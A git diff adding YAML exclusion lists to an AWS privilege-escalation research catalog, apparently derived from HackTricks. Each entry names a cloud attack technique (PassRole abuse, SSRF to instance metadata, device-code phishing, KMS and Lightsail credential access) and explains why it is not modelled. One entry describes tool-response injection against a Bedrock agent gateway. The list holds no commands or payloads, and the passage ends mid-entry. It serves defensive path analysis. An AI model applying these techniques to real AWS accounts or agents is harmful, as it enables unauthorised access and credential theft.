aws-elasticbeanstalk-rebuildenvironment-s3-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeartifact-privesc/README.md#publish-a-newer-compatible-package-version + source_revision: b587e6bd26 + technique: Publish a newer compatible version of a trusted CodeArtifact package consumed by + a privileged workload + reason: 'The codeartifact_package artifact is not joined to an exact consuming resource and + role: the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. + Writing the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-codeartifact-publishpackageversion-consumer-poisoning diff --git a/src/privilege-escalation-paths-research/aws/_excluded_audit_6fb9.yaml b/src/privilege-escalation-paths-research/aws/_excluded_audit_6fb9.yaml new file mode 100644 index 0000000000..ffab4b599e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_audit_6fb9.yaml @@ -0,0 +1,175 @@ +# AWS: sections reviewed by the HackTricks privesc completeness audit (rev 6fb9ac51fd) and intentionally NOT modelled. +# Each item: {source, technique, reason}. "NEEDS SCHEMA: " items are temporary (see privesc-schema-proposals-aws.md). + +# --- P0 --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + technique: gamelift:CreateGameServerGroup + iam:PassRole + reason: The game server group RoleArn is assumed by GameLift FleetIQ to manage the Auto Scaling group, not supplied as the instance profile of code running on those instances. The launch template's instance profile is a separate route with its own role and execution checks. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion + technique: iam:SetDefaultPolicyVersion on a policy attached to a role the source can assume + reason: An existing policy version must be proven to grant administrator access; the v2 selector only covers creating a new default version. + +# --- P4 --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "panorama:CreateApplicationInstance / simspaceweaver:StartSimulation + iam:PassRole" + reason: "Both services have reached end of support (AWS Panorama and SimSpace Weaver are discontinued for new and existing customers), so no live edge can be produced." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "osis/entityresolution/timestream/logs/backup-search/dax/aiops/chime/mediapackage-vod/mediaconvert create + iam:PassRole" + reason: "Execution-table rows that run only fixed service logic (ingestion pipelines, matching workflows, scheduled queries, exports, transcoding, DynamoDB caching, telemetry reads) as the passed role; data-access confused deputy without code execution or credentials, same reasoning as #the-pattern." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "finspace:CreateKxUser / finspace:UpdateKxUser" + reason: "The kdb user's iamRole identifies which IAM principal may obtain a connection string for that user; binding a role does not vend that role's credentials to the source. The prior cluster-execution route is retained as an exclusion because AWS ended FinSpace access after October 7, 2026." + +# --- R0 --- +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#restore-revoked-iam-roles-anywhere-certificates-by-weakening-the-crl + technique: Restore a previously revoked IAM Roles Anywhere certificate + reason: Requires the source to already possess the revoked end-entity certificate and private key, runtime secrets absent from the configuration snapshot; changing the CRL alone does not identify a reachable role. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mq-broker-admin-persistence/README.md#rabbitmq-administrator-credentials---persistent-broker-administrator + technique: Create a native RabbitMQ administrator from an existing broker administrator + reason: Requires a previously known RabbitMQ administrator password and network access; no AWS IAM action grants the starting native broker identity. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md#create-an-admin-user-inside-the-db + technique: Create a native database administrator using SQL + reason: Requires existing database administrator credentials and engine-level SQL access; no AWS IAM action in this section grants the starting database identity. +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/iam-trust-and-federation-attacks.md#external-id-confused-deputy + technique: Third-party provider confused deputy (missing or reused sts:ExternalId) + reason: The attacker is a tenant of an external SaaS provider; the provider-side tenant-to-role binding is not in any snapshot. Principals inside the snapshot that can assume an ExternalId-conditioned + role are already drawn (conditional) by aws-sts-assumerole-trusted. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/iam-trust-and-federation-attacks.md#oidc-and-saml-over-trust + technique: Broad OIDC sub / SAML IdP over-trust + reason: Needs a token or assertion from the external IdP (external identity possession), duplicate of the _excluded_a sts:AssumeRoleWithWebIdentity / AssumeRoleWithSAML exclusions. AWS-side provider takeover + is aws-iam-updatesamlprovider / aws-iam-oidcprovider-add-client-id; EKS sub-less trusts are k8s-cloud-eks-irsa-create-matching-sa. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#example-cloudtrail-to-s3 + technique: Service-principal bucket policy without aws:SourceArn/SourceAccount + reason: Data/log injection into the victim bucket; no principal privileges are obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#example-service-invocation-of-lambda + technique: Lambda permission trusting a service principal without source conditions + reason: Lets a foreign account feed event input to existing function code; whether the input yields execution as the role is application logic (no code or configuration control). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#s3-bucket-name-ownership-changes + technique: Re-creating a deleted legacy-global S3 bucket name + reason: 'Namespace reuse is a dangling-reference Exposure finding: the gain is data delivered to or read from the attacker bucket, and the consumer-to-bucket mapping of deleted buckets is not in the snapshot.' + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#policy-backdoors-and-attacker-resource-lures + technique: Resource-policy backdoors and attacker-resource lures + reason: Resource-policy backdoors are persistence/data sharing for an external principal; lures depend on a victim workload choosing an attacker-supplied resource (application logic). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#high-value-service-matrix + technique: Cross-account resource sharing matrix (S3, KMS, Secrets Manager, SNS/SQS, RAM, snapshots, models, ...) + reason: Rows mix data exposure, injection and persistence. Some role-bearing paths remain conditional candidates, including ECR image consumption, Lambda execution-wrapper changes and SSM document consumers; this matrix does not establish their resource or execution joins. A Service Catalog portfolio share provisions in the recipient account under that account's own launch role, and ds:ShareDirectory only lets + the consumer domain-join its own workloads. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#messaging-and-event-injection + technique: External SNS/SQS/EventBridge/API Gateway input to privileged consumers + reason: Input injection into consumers; turning it into execution as the consumer role is application logic. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#resource-access-manager + technique: RAM share management (external / OU / org shares) + reason: Data, network and resource-use sharing; no IAM principal is obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#breaking-the-isolation-2021 + technique: CloudTrail / Config / SAR cross-account service flaws + reason: Fixed AWS service vulnerabilities (historical); the current pattern is data injection only. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amplifycognito-public-role-assumption-cve-2024-28056 + technique: Cross-account assumption of aud-less Cognito roles + reason: Fixed vulnerability (CVE-2024-28056); STS now rejects cross-account Cognito role assumption without an aud restriction. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#shadow-resources-and-bucket-monopoly-2024 + technique: Pre-created shadow buckets of AWS services + reason: Fixed vulnerability (AWS remediated by June 2024). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amazon-datazone-associateenvironmentrole-confused-deputy-2024 + technique: DataZone AssociateEnvironmentRole cross-account confused deputy + reason: AWS fixed the cross-account confused-deputy issue. The separate same-account AssociateEnvironmentRole route remains a conditional candidate because its project membership, scoped credential and role joins are not yet established. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md#aws-device-code-phishing + technique: Identity Center device-code phishing + reason: Requires the victim user to approve the device code (social engineering); no permission of a source principal grants it. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#buildspecyml + technique: Write access to an external repository consumed by CodeBuild + reason: External SCM write access and the exact repository-to-build consumer are not collected. CodeCommit branch and S3 source-object variants are also conditional candidates until their source, execution and role joins are verified. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#self-hosted-github-actions-runners-in-aws-codebuild + technique: GitHub workflow running on a CodeBuild-hosted runner + reason: Needs workflow control in the external GitHub repository; not expressible from AWS permissions. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-eks-unauthenticated-enum/README.md#anonymous-privileged-cluster-operations + technique: Kubernetes anonymous bindings with exec/write + reason: Kubernetes RBAC (system:anonymous bindings) belongs to the k8s catalog; no AWS permission is involved. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-eks-unauthenticated-enum/README.md#workload-ssrf--imds--pod-identity--aws-creds + technique: SSRF to IMDS / Pod Identity credentials + reason: Needs an application vulnerability (SSRF/RCE). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md#ssrf + technique: SSRF to EC2 instance metadata credentials + reason: Needs an application vulnerability (SSRF). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md#aws-secretsession-token-assignments + technique: Leaked access keys / session tokens + reason: Requires a leaked secret (runtime-only state no snapshot holds). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md#sagemaker-presigned-notebookstudio-urls + technique: Leaked SageMaker presigned notebook/Studio URL + reason: Requires a leaked URL (runtime secret); minting such URLs is modelled by the SageMaker privesc entries. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-datasync-agent-unauthenticated-access/README.md#authenticated-agent-claim-after-activation-key-disclosure + technique: Claim an unactivated DataSync agent with datasync:CreateAgent + reason: Gains a network position (appliance ownership) in the victim network; no IAM principal or role is obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-appconfig-unauthenticated-access/README.md#appconfig-agent-configuration-reads + technique: Querying a reachable AppConfig Agent + reason: Configuration data read through the agent role; no credentials or code execution as the role. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md#oidc---github-actions-abuse + technique: GitHub Actions OIDC over-broad trust + reason: Needs a GitHub-issued OIDC token (external identity); duplicate of the sts:AssumeRoleWithWebIdentity exclusion. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#poison-or-expand-an-existing-service-association + technique: "aidevops:AssociateService / aidevops:UpdateAssociation (+ iam:PassRole)" + reason: "The passed monitoring/elevated role is used by the DevOps Agent for its own investigations; the caller gets no session or code execution as the role unless it also controls the agent's operator plane (see NEEDS SCHEMA X0-1)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-data-access-post-exploitation/README.md#agentcore-identity--mint-a-workload-token-and-recover-stored-api-keys + technique: "bedrock-agentcore:GetWorkloadAccessToken + GetResourceApiKey + secretsmanager:GetSecretValue" + reason: "Returns a third-party API key stored for agents, not an AWS principal's credentials (same as the excluded AgentCore credential-vend section of the privesc page)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-data-access-post-exploitation/README.md#agentcore-identity--recover-stored-oauth-access-tokens + technique: "bedrock-agentcore:GetWorkloadAccessToken + GetResourceOauth2Token + secretsmanager:GetSecretValue" + reason: "Returns an external OAuth access token bounded by the external provider's scopes; no AWS principal's privileges are obtained." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-acm-pca-scep-post-exploitation/README.md#pca-connector-scepcreatechallenge--getchallengepassword--mint-a-scep-enrollment-secret-rogue-device-certificate-backdoor + technique: "pca-connector-scep:CreateChallenge / GetChallengePassword" + reason: "Yields a device certificate for network/mTLS authentication bounded by the SCEP certificate profile; the page documents no AWS principal reached (an IAM Roles Anywhere trust anchor on the same CA would be a separate, undocumented chain)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md#recover-githubbitbucket-configured-tokens + technique: "CodeBuild source-provider token leakage (in-build GetBuildInfo, custom Docker image MitM, insecureSsl)" + reason: "Recovers an external GitHub/Bitbucket credential; the prerequisite build-control permissions (CreateProject/UpdateProject/StartBuild) already yield the project role through the modelled CodeBuild entries." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md#misconfigurations-that-allow-external-pr-code-execution + technique: "Untrusted pull-request execution through weak CodeBuild webhook filters" + reason: "The actor is an external Git user exploiting a webhook-filter misconfiguration, not an AWS principal holding IAM permissions; not expressible as a principal-to-principal edge." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchcreateonetimedeeplinkcode--mint-an-authenticated-omni-browser-session + technique: "cloudwatch:CreateOneTimeDeepLinkCode" + reason: "The browser session is bounded by the caller's own IAM identity and space grants; no other principal's privileges are obtained." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#add-an-app-client-secret-and-mint-an-m2m-token + technique: "cognito-idp:AddUserPoolClientSecret (post-exploitation page)" + reason: "M2M access tokens carry only the client's custom resource-server scopes (application plane); they are not accepted by identity pools and grant no AWS credentials." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrock-agentcorecreategatewaytarget--updategatewaytarget--mitm-an-agents-tools-tool-response-injection + technique: "bedrock-agentcore:CreateGatewayTarget / UpdateGatewayTarget" + reason: "Tool-response injection and capture of tool arguments / outbound third-party credentials; influences an agent through prompt content but does not give the caller the gateway role's session." + source_revision: 6fb9ac51fd + +# --- X1 --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#related-iot-device-fleet-primitives-same-archetype + technique: "iotevents:CreateDetectorModel / iotevents:UpdateDetectorModel + iam:PassRole" + reason: "Detector-model actions are a fixed set of AWS integrations (publish to SNS/SQS/IoT topics, Lambda invoke, DynamoDB/Firehose writes) executed by the service with the passed role; the source chooses only action parameters and gains narrow data-plane writes, never the role's general privileges or credentials. Same exclusion class as other confused-deputy data-sink PassRole cases." +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md#shadow-copy + technique: EBS snapshot extraction of Active Directory domain hashes + reason: The configuration snapshot cannot identify which EBS volume contains a Domain Controller database and SYSTEM hive or whether their runtime contents yield usable domain credentials; snapshot permission alone does not establish a reachable domain administrator. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_b.yaml b/src/privilege-escalation-paths-research/aws/_excluded_b.yaml new file mode 100644 index 0000000000..ffb05dea8e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_b.yaml @@ -0,0 +1,410 @@ +# AWS part B: techniques from assigned hacktricks-cloud pages excluded from the privesc catalog. +# Each entry: {source, technique, reason}. Reasons follow schema rule 4 (data read, DoS, persistence-only, +# network pivot, fixed code/workflow invoked with attacker input) or rule 5 (outdated / unverifiable). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemdeletefilesystempolicyelasticfilesystemputfilesystempolicy + technique: elasticfilesystem:DeleteFileSystemPolicy / PutFileSystemPolicy + reason: Only the exact PutFileSystemPolicy ClientMount self-grant with reviewed before/after authorization is active as aws-efs-putfilesystempolicy-self-grant. DeleteFileSystemPolicy and broader ClientWrite or ClientRootAccess variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemclientmount-and-client-action-combinations + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemclientmount-and-client-action-combinations + source_revision: f2aa915198 + technique: elasticfilesystem:ClientMount / ClientWrite / ClientRootAccess combinations + reason: File-system data access only; any code-planting effect on hosts that execute from EFS is an unmodelled artifact chain without a stable consumer mapping. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreateaccesspoint--elasticfilesystemclientmount + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemcreateaccesspoint--elasticfilesystemclientmount + source_revision: f2aa915198 + technique: elasticfilesystem:CreateAccessPoint + ClientMount + reason: Bypasses POSIX restrictions on file data; data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreatemounttarget + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemcreatemounttarget + source_revision: f2aa915198 + technique: elasticfilesystem:CreateMountTarget + reason: Network pivot to reach the file system; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemmodifymounttargetsecuritygroups + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemmodifymounttargetsecuritygroups + source_revision: f2aa915198 + technique: elasticfilesystem:ModifyMountTargetSecurityGroups + reason: Network pivot to reach the file system; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-post-exploitation/README.md#gameliftrequestuploadcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftrequestuploadcredentials + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: gamelift:RequestUploadCredentials + reason: Returns credentials scoped by GameLift to uploading a build to a service-owned S3 location; does not expose a customer principal's privileges. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmslistkeyskmsputkeypolicy-kmslistkeypolicies-kmsgetkeypolicy + source_revision: a53b46392c + technique: kms:PutKeyPolicy + reason: Grants control/use of a KMS key (cryptographic/data access); no other principal's privileges obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmscreategrant + source_revision: a53b46392c + technique: kms:CreateGrant + reason: Grants use of a KMS key; data access only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmscreatekey-kmsreplicatekey + source_revision: a53b46392c + technique: kms:CreateKey + kms:ReplicateKey + reason: Replicates a multi-Region key with a new policy; key/data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#kmsdecrypt + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmsdecrypt + source_revision: f2aa915198 + technique: kms:Decrypt + reason: Data read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsaildownloaddefaultkeypair + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsaildownloaddefaultkeypair + source_revision: f2aa915198 + technique: lightsail:DownloadDefaultKeyPair + reason: SSH access to Lightsail instances; Lightsail instances have no customer IAM instance profile, so no IAM principal is obtained (host/data access). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailgetinstanceaccessdetails + source_revision: a53b46392c + technique: lightsail:GetInstanceAccessDetails + reason: Host access to Lightsail instances without a customer IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailcreatebucketaccesskey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailcreatebucketaccesskey + source_revision: f2aa915198 + technique: lightsail:CreateBucketAccessKey + reason: Creates keys scoped to a Lightsail bucket (service-managed identity); data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailgetrelationaldatabasemasteruserpassword + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailgetrelationaldatabasemasteruserpassword + source_revision: f2aa915198 + technique: lightsail:GetRelationalDatabaseMasterUserPassword + reason: Database credential read; data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailupdaterelationaldatabase + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdaterelationaldatabase + source_revision: f2aa915198 + technique: lightsail:UpdateRelationalDatabase + reason: Database password reset/exposure; data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailopeninstancepublicports + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailopeninstancepublicports + source_revision: f2aa915198 + technique: lightsail:OpenInstancePublicPorts + reason: Network exposure; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailputinstancepublicports + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailputinstancepublicports + source_revision: f2aa915198 + technique: lightsail:PutInstancePublicPorts + reason: Network exposure; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailsetresourceaccessforbucket + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailsetresourceaccessforbucket + source_revision: f2aa915198 + technique: lightsail:SetResourceAccessForBucket + reason: Bucket data access for an instance; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailupdatebucket + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatebucket + source_revision: f2aa915198 + technique: lightsail:UpdateBucket + reason: Bucket access/exposure change; data access. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatecontainerservice + source_revision: a53b46392c + technique: lightsail:UpdateContainerService + reason: Container code/env change on Lightsail; no customer IAM role is attached to Lightsail containers. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailcreatedomainentry + source_revision: a53b46392c + technique: lightsail:CreateDomainEntry + reason: DNS manipulation; traffic interception, no new IAM identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatedomainentry + source_revision: a53b46392c + technique: lightsail:UpdateDomainEntry + reason: DNS manipulation; traffic interception, no new IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#amazon-macie---bypass-reveal-sample-integrity-check + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md#amazon-macie---bypass-reveal-sample-integrity-check + source_revision: f2aa915198 + technique: Macie reveal-sample integrity bypass + reason: Data disclosure only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagedescribechannel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagedescribechannel + source_revision: fd7d56b0a9 + technique: mediapackage:DescribeChannel + reason: Reads ingest credentials of a media channel; data/third-party credential, not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagelistchannels + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagelistchannels + source_revision: f2aa915198 + technique: mediapackage:ListChannels + reason: Read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagerotatechannelcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagerotatechannelcredentials + source_revision: f2aa915198 + technique: mediapackage:RotateChannelCredentials + reason: Rotates ingest credentials; media-plane access/DoS, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagerotateingestendpointcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagerotateingestendpointcredentials + source_revision: f2aa915198 + technique: mediapackage:RotateIngestEndpointCredentials + reason: Rotates ingest credentials; media-plane access/DoS, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mq-post-exploitation/README.md#mqcreateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqcreateuser + source_revision: f2aa915198 + technique: mq:CreateUser + reason: Creates broker users; message data access, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mq-post-exploitation/README.md#mqupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateuser + source_revision: f2aa915198 + technique: mq:UpdateUser + reason: Broker user change; message data access, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + source_revision: 1fb542ff27 + technique: kafka:UpdateSecurity + reason: Enables unauthenticated access to topics; data exposure, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainsgetdomaindetail--read-domain-registration-contacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainsgetdomaindetail--read-domain-registration-contacts + source_revision: f2aa915198 + technique: route53domains:GetDomainDetail + reason: Read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainsretrievedomainauthcode--steal-a-domain-transfer-credential + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainsretrievedomainauthcode--steal-a-domain-transfer-credential + source_revision: fd7d56b0a9 + technique: route53domains:RetrieveDomainAuthCode + reason: Domain transfer credential theft; external asset takeover, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagergetsecretvalue + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetsecretvalue + source_revision: f2aa915198 + technique: secretsmanager:GetSecretValue + reason: Data read; any IAM keys stored in secrets are not modelable from the control plane. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetresourcepolicy-secretsmanagerputresourcepolicy-secretsmanagerlistsecrets + source_revision: d11f0e7012 + technique: secretsmanager:PutResourcePolicy + reason: Only the exact same-account IAM-user GetSecretValue self-grant with accepted policy, prior denial, observed new access and KMS authorization is active as aws-secretsmanager-putresourcepolicy-self-grant. Cross-account, other-principal and unreviewed policy grants remain excluded. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssubscribe + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssubscribe + source_revision: f2aa915198 + technique: sns:Subscribe + reason: Message data access. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snsaddpermission + source_revision: a53b46392c + technique: sns:AddPermission + reason: Grants topic access; data/messaging access only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#invoke-a-lambda-by-abusing-wildcard-sns-permission-no-sourcearn + source_revision: a53b46392c + technique: Lambda invocation via wildcard SNS permission (no SourceArn) + reason: Invokes fixed Lambda code with attacker input; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqsaddpermission + source_revision: a53b46392c + technique: sqs:AddPermission + reason: Grants queue access; data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocscreateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocscreateuser + source_revision: fd7d56b0a9 + technique: workdocs:CreateUser + reason: Application-level user in 